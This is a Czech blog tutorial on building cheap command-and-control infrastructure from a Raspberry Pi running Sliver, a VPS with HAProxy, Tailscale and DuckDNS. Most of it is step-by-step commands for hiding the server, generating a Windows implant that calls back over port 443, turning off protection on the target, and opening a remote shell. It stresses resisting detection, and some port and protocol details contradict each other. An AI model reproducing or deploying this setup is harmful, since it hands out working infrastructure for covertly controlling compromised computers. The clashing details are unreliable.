Levná C2 infrastruktura na Raspberry Pi: podrobné sestavení za jeden večer
Vytváření velící a řídící infrastruktury (C2) pro výzkum v kyberbezpečnosti je často spojováno s drahými komerčními řešeními. V tomto návodu je podrobně rozebrána realizace plně funkční C2 systému na Raspberry Pi 4 s využitím open-source softwaru. Důraz je položen na minimalizaci nákladů při zachování klíčových funkcí: šifrovaného provozu, dynamického DNS a odolnosti vůči detekci. Tento materiál je určen výhradně pro vzdělávací účely v rámci etického hackingu.
Sestava levné C2 systému
Pro sestavení budete potřebovat:
- Raspberry Pi 4 (4 GB RAM) — hlavní server implantátů
- SD karta 32 GB
- VPS s 2 GB RAM (cena od 4 €/měsíc) pro veřejný terminál
- Tailscale — pro vytvoření zabezpečeného tunelu mezi komponentami
- Sliver v1.7.3 — open-source alternativa Cobalt Strike
- DuckDNS — dynamická DNS služba
Architektura systému je postavena podle schématu: implantát → duckdns.org:443 → VPS (HAProxy) → Tailscale → Raspberry Pi (Sliver:31337). Taková topologie skrývá skutečnou IP adresu Pi za veřejnou doménou a zajišťuje šifrování provozu na všech etapách přenosu.
Nastavení zabezpečeného tunelu přes Tailscale
Instalace Tailscale na Raspberry Pi a VPS probíhá stejně. Proveďte v terminálu:
curl -fsSL https://tailscale.com/install.sh | sh
sudo tailscale up
Po autorizaci přes prohlížeč systém přiřadí každému uzlu unikátní Tailscale adresu (např. Pi: 100.92.XX.XXX, VPS: 100.106.XXX.XX). Ověřte propojení mezi uzly:
ping 100.92.XXX.XXX
Klíčový moment: provoz mezi komponentami je šifrován end-to-end, což vylučuje odposlech na mezilehlých uzlech. Tailscale automaticky aktualizuje trasy při změně IP adres, což je zásadní pro stabilitu spojení.
Nasazení Sliver na Raspberry Pi
Stáhněte binární soubor Sliver pro architekturu ARM64:
cd /tmp
wget https://github.com/BishopFox/sliver/releases/download/v1.7.3/sliver-server_linux_arm64
sudo install -m 755 sliver-server_linux_arm64 /usr/local/bin/sliver-server
Spusťte server v režimu démona s povolením připojení z jakéhokoli rozhraní:
sliver-server daemon --lhost 0.0.0.0 --lport 31338
Posluchač pro implantáty se aktivuje na portu 31337. Pro ovládání použijte konzoli Sliver: sliver-server console. Ujistěte se, že je port 31337 otevřený ve firewallu Raspberry Pi.
Konfigurace HAProxy na VPS
Nainstalujte HAProxy na virtuálním serveru:
sudo apt install -y haproxy
Upravte konfigurační soubor /etc/haproxy/haproxy.cfg:
global
log /dev/log local0
maxconn 10000
defaults
mode tcp
timeout connect 5s
timeout client 60s
timeout server 60s
frontend sliver_frontend
bind :443
default_backend sliver_backend
backend sliver_backend
server pi4 100.92.XXX.XXX:31337 check
Restartujte službu:
sudo systemctl enable haproxy
sudo systemctl start haproxy
HAProxy funguje jako TLS terminator, který přesměrovává provoz z portu 443 na interní adresu Raspberry Pi přes Tailscale. Ověřte funkčnost: openssl s_client -connect váš-domena.duckdns.org:443.
Integrace dynamického DNS
Zaregistrujte doménu v DuckDNS a přivážte ji k veřejné IP adrese VPS. Pro automatické aktualizace IP adresy přidejte skript aktualizace do cron. Ověřte rezoluci domény:
dig váš-domena.duckdns.org
Tento krok je klíčový pro stabilitu spojení při změně externí IP adresy VPS. DuckDNS zaručuje, že doménové jméno bude vždy směřovat na aktuální adresu serveru.
Generování a testování implantátu
V konzoli Sliver vytvořte HTTP posluchač:
http --domain váš-domena.duckdns.org --lhost 0.0.0.0 --lport 31337
Vygenerujte Windows implantát s MTLS autentizací:
generate --mtls váš-domena.duckdns.org:443 --format exe --os windows --save /tmp/sliver.exe
Přeneste soubor na testovací systém Windows 10 (předem vypněte ochranu pro demonstrační účely). Po spuštění implantátu se v konzoli Sliver objeví relace:
[*] Session c5360843 UNIFORM_DISGUST - 100.106.xxx.xx:48190 (win10) - windows/amd64
Připojte se k relaci:
sessions -i c5360843
shell
Testování potvrzuje odolnost spojení: relace se neukončí při restartu implantátu nebo změně síťového prostředí.
Optimalizace a provoz systému
Pro zvýšení odolnosti proti výpadkům doporučujeme:
- Nastavit automatický start Sliver přes systemd
- Přidat monitorování logů HAProxy
- Používat samostatné domény pro různé posluchače
- Pravidelně aktualizovat certifikáty Let's Encrypt
Klíčové příkazy pro rychlé ovládání:
# Spuštění Sliver
sliver-server daemon --lhost 0.0.0.0 --lport 31338
# Zobrazení aktivních relací
sessions
# Přechod do interaktivního shellu
sessions -i <ID>\nshell
Systém umožňuje ovládat implantáty přes mobilní aplikaci Tailscale, což zajišťuje přístup k infrastruktuře odkudkoli na světě.
Co je důležité
- Architektura s dvojitým šifrováním (TLS + Tailscale) snižuje pravděpodobnost detekce provozu
- Měsíční náklady jsou omezeny cenou VPS (od 4 €), zbytek softwaru je open-source
- Raspberry Pi 4 zajišťuje dostatečný výkon pro zpracování až 50 současných relací
- Integrace DuckDNS řeší problém s dynamickými IP bez dalších nákladů
- Sliver plně nahrazuje komerční analogy za předpokladu základních znalostí síťové bezpečnosti
— Editorial Team
Zatím žádné komentáře.